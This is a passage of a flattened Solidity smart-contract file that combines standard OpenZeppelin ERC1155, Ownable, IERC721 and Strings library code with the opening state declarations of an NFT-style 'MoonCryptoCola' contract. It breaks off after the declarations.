* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol)
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
* @dev Handles the receipt of a single ERC1155 token type. This function is
* called at the end of a `safeTransferFrom` after the balance has been updated.
*
* NOTE: To accept the transfer, this must return
* `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* (i.e. 0xf23a6e61, or its own function selector).
*
* @param operator The address which initiated the transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param id The ID of the token being transferred
* @param value The amount of tokens being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
* @dev Handles the receipt of a multiple ERC1155 token types. This function
* is called at the end of a `safeBatchTransferFrom` after the balances have
* been updated.
*
* NOTE: To accept the transfer(s), this must return
* `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* (i.e. 0xbc197c81, or its own function selector).
*
* @param operator The address which initiated the batch transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param ids An array containing ids of each token being transferred (order and length must match values array)
* @param values An array containing amounts of each token being transferred (order and length must match ids array)
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol)
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Supply.sol)
/**
* @dev Extension of ERC1155 that adds tracking of total supply per id.
*
* Useful for scenarios where Fungible and Non-fungible tokens have to be
* clearly identified. Note: While a totalSupply of 1 might mean the
* corresponding is an NFT, there is no guarantees that no other token with the
* same id are not going to be minted.
*/
abstract contract ERC1155Supply is ERC1155 {
mapping(uint256 => uint256) private _totalSupply;
/**
* @dev Total amount of tokens in with a given id.
*/
function totalSupply(uint256 id) public view virtual returns (uint256) {
return _totalSupply[id];
}
/**
* @dev Indicates whether any token exist with a given id, or not.
*/
function exists(uint256 id) public view virtual returns (bool) {
return ERC1155Supply.totalSupply(id) > 0;
}
/**
* @dev See {ERC1155-_beforeTokenTransfer}.
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
if (from == address(0)) {
for (uint256 i = 0; i < ids.length; ++i) {
_totalSupply[ids[i]] += amounts[i];
}
}
if (to == address(0)) {
for (uint256 i = 0; i < ids.length; ++i) {
_totalSupply[ids[i]] -= amounts[i];
}
}
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
interface IMAL {
function spendMAL(address user, uint256 amount) external;
}
interface ISTAKING {
function balanceOf(address user) external view returns (uint256);
}
contract MoonCryptoCola is ERC1155Supply, Ownable {
using Strings for uint256;
uint256 public MAX_SUPPLY = 15000;
uint256 public SUPPLY = 0;
mapping (uint256 => uint256) maxSupplies;
mapping (uint256 => uint256) tokensPrices;
mapping(uint256=>uint256) priceIncrementer;
bool private _detailsSet;
mapping(address=> uint256) _mintedTokens;
bool public saleIsActive;
bool public isPaused;
string private name_;
string private symbol_;
IMAL public MAL;
ISTAKING public STAKING;
IERC721 public APES;
IERC721 public BREEDING;
string private colaBaseUri;
mapping(address => bool) private _isAuthorised;
address[] public authorisedLog;
enum CryptoColaTypes{
Can,
Bottle,
Barrel
}
